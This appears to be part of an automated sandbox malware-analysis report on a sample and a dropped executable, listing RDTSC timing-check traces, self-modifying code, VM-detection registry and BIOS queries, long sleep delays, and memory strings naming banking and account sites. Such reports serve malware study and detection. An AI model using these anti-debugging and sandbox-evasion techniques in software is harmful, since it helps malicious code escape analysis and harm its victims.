Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080BA9 second address: 5080BAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080C32 second address: 5080C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080C4D second address: 5080C9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817839h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b jmp 00007F1B50817837h 0x00000010 mov dword ptr [ebp-1Ch], esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1B50817830h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080C9A second address: 5080C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080C9E second address: 5080CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080CA4 second address: 5080CAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080CAA second address: 5080CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080CAE second address: 5080CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080CC4 second address: 5080CEC instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ax, bx 0x0000000a popad 0x0000000b test al, al 0x0000000d jmp 00007F1B5081782Bh 0x00000012 je 00007F1BC121B4CFh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx ebx, si 0x0000001e movzx ecx, dx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A075C second address: 50A076B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A076B second address: 50A0783 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B50817834h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0783 second address: 50A07F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 mov ebx, 53FF5494h 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F1B51130F9Ah 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F1B51130FA0h 0x00000022 mov ebp, esp 0x00000024 jmp 00007F1B51130FA0h 0x00000029 xchg eax, esi 0x0000002a jmp 00007F1B51130FA0h 0x0000002f push eax 0x00000030 jmp 00007F1B51130F9Bh 0x00000035 xchg eax, esi 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07F0 second address: 50A07F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07F4 second address: 50A086D instructions: 0x00000000 rdtsc 0x00000002 mov si, AD97h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c mov esi, dword ptr [ebp+0Ch] 0x0000000f jmp 00007F1B51130F9Fh 0x00000014 test esi, esi 0x00000016 pushad 0x00000017 jmp 00007F1B51130FA4h 0x0000001c call 00007F1B51130FA2h 0x00000021 mov dh, al 0x00000023 pop edx 0x00000024 popad 0x00000025 je 00007F1BC1B1EB0Eh 0x0000002b pushad 0x0000002c mov bx, ax 0x0000002f mov ebx, eax 0x00000031 popad 0x00000032 cmp dword ptr [75AF459Ch], 05h 0x00000039 jmp 00007F1B51130F9Eh 0x0000003e je 00007F1BC1B36BCCh 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A086D second address: 50A0871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0871 second address: 50A0877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0877 second address: 50A08AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov esi, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1B50817836h 0x00000011 mov dword ptr [esp], esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F1B5081782Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08AA second address: 50A08B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09CC second address: 50A09E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B50817835h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 84E7D6 second address: 84E0F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a pushad 0x0000000b popad 0x0000000c push dword ptr [ebp+122D0E61h] 0x00000012 sub dword ptr [ebp+122D1C94h], eax 0x00000018 call dword ptr [ebp+122D2BB0h] 0x0000001e pushad 0x0000001f cmc 0x00000020 xor eax, eax 0x00000022 mov dword ptr [ebp+122D1D72h], esi 0x00000028 xor dword ptr [ebp+122D22E1h], esi 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 or dword ptr [ebp+122D2FA6h], edx 0x00000038 mov dword ptr [ebp+122D3CE3h], eax 0x0000003e mov dword ptr [ebp+122D22E1h], ecx 0x00000044 mov esi, 0000003Ch 0x00000049 cmc 0x0000004a add esi, dword ptr [esp+24h] 0x0000004e jns 00007F1B51130F99h 0x00000054 jmp 00007F1B51130FA5h 0x00000059 lodsw 0x0000005b mov dword ptr [ebp+122D3835h], esi 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 add dword ptr [ebp+122D22E1h], ecx 0x0000006b mov ebx, dword ptr [esp+24h] 0x0000006f jnl 00007F1B51130F97h 0x00000075 push eax 0x00000076 push edi 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 84E0F1 second address: 84E0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 84E0F5 second address: 84E0F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9B525B second address: 9B525F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C151A second address: 9C1523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1523 second address: 9C1527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1527 second address: 9C1540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F1B51130F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jnc 00007F1B51130F96h 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1540 second address: 9C154E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B5081782Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C16D1 second address: 9C16DB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1B51130F9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C16DB second address: 9C16F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1B5081782Ch 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C16F4 second address: 9C1717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F1B51130FA9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1A61 second address: 9C1A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1BFE second address: 9C1C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B51130FA1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1C15 second address: 9C1C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1C1D second address: 9C1C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C1DD7 second address: 9C1DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C418D second address: 9C4193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C4193 second address: 9C41C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007F1B5081782Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1B5081782Fh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C41C0 second address: 84E0F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130F9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007F1B51130FA6h 0x00000013 pushad 0x00000014 jmp 00007F1B51130F9Fh 0x00000019 jne 00007F1B51130F96h 0x0000001f popad 0x00000020 popad 0x00000021 pop eax 0x00000022 or ch, 0000001Fh 0x00000025 push dword ptr [ebp+122D0E61h] 0x0000002b movzx ecx, si 0x0000002e call dword ptr [ebp+122D2BB0h] 0x00000034 pushad 0x00000035 cmc 0x00000036 xor eax, eax 0x00000038 mov dword ptr [ebp+122D1D72h], esi 0x0000003e xor dword ptr [ebp+122D22E1h], esi 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 or dword ptr [ebp+122D2FA6h], edx 0x0000004e mov dword ptr [ebp+122D3CE3h], eax 0x00000054 mov dword ptr [ebp+122D22E1h], ecx 0x0000005a mov esi, 0000003Ch 0x0000005f cmc 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 jns 00007F1B51130F99h 0x0000006a jmp 00007F1B51130FA5h 0x0000006f lodsw 0x00000071 mov dword ptr [ebp+122D3835h], esi 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b add dword ptr [ebp+122D22E1h], ecx 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jnl 00007F1B51130F97h 0x0000008b push eax 0x0000008c push edi 0x0000008d push eax 0x0000008e push edx 0x0000008f push eax 0x00000090 push edx 0x00000091 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C4297 second address: 9C4349 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B50817826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F1B5081782Ch 0x00000010 popad 0x00000011 add dword ptr [esp], 16BC339Fh 0x00000018 mov dword ptr [ebp+122D2C92h], edi 0x0000001e push 00000003h 0x00000020 mov edi, ebx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F1B50817828h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e push 00000003h 0x00000040 pushad 0x00000041 sub dword ptr [ebp+122D1C76h], esi 0x00000047 mov dword ptr [ebp+122D22E1h], edx 0x0000004d popad 0x0000004e call 00007F1B50817829h 0x00000053 push edx 0x00000054 jo 00007F1B50817832h 0x0000005a jmp 00007F1B5081782Ch 0x0000005f pop edx 0x00000060 push eax 0x00000061 pushad 0x00000062 jmp 00007F1B50817837h 0x00000067 jnp 00007F1B50817828h 0x0000006d popad 0x0000006e mov eax, dword ptr [esp+04h] 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007F1B50817836h 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C4349 second address: 9C435B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1B51130F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F1B51130F9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C435B second address: 9C4393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007F1B50817833h 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B50817838h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C4393 second address: 9C43DB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B51130FA2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b je 00007F1B51130F9Ch 0x00000011 mov esi, dword ptr [ebp+122D2FA1h] 0x00000017 lea ebx, dword ptr [ebp+1244A0B0h] 0x0000001d mov dword ptr [ebp+122D2E18h], ecx 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F1B51130FA4h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C43DB second address: 9C43E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C4452 second address: 9C447A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B51130FA9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jc 00007F1B51130F96h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C447A second address: 9C44C2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B5081783Ch 0x00000008 jmp 00007F1B50817836h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 sub si, 627Bh 0x00000015 push 00000000h 0x00000017 jmp 00007F1B50817836h 0x0000001c push 8BDB9C3Dh 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C44C2 second address: 9C44C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C44C6 second address: 9C44CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C44CF second address: 9C4549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 add dword ptr [esp], 74246443h 0x0000000d call 00007F1B51130FA9h 0x00000012 or edi, dword ptr [ebp+122D401Fh] 0x00000018 pop esi 0x00000019 push 00000003h 0x0000001b pushad 0x0000001c jno 00007F1B51130FABh 0x00000022 jmp 00007F1B51130F9Ch 0x00000027 popad 0x00000028 push 00000000h 0x0000002a and si, 6DB6h 0x0000002f add cx, 6966h 0x00000034 push 00000003h 0x00000036 sbb cx, 05E3h 0x0000003b push A2AA0700h 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 jc 00007F1B51130F96h 0x00000049 pop edx 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C46C4 second address: 9C46C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9C46C8 second address: 9C46CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E5C29 second address: 9E5C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1B50817826h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E3DA7 second address: 9E3DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1B51130F9Eh 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F1B51130F9Dh 0x00000017 pop eax 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E3DD7 second address: 9E3DEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817833h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E3DEE second address: 9E3DF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E3DF4 second address: 9E3DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E40D1 second address: 9E40DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E451C second address: 9E4521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	RDTSC instruction interceptor: First address: 9E4670 second address: 9E4674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 90F122 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 90C1EE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ACBCF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B459F3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ABA3D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Special instruction interceptor: First address: 84E153 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Special instruction interceptor: First address: 9F5D9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Special instruction interceptor: First address: A88F02 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Memory allocated: 5050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Memory allocated: 52F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Memory allocated: 5050000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Code function: 3_2_009C42F6 rdtsc

3_2_009C42F6

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 5260	Thread sleep time: -270000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe TID: 6972	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2165370961.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: file.exe, 00000000.00000003.2165370961.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
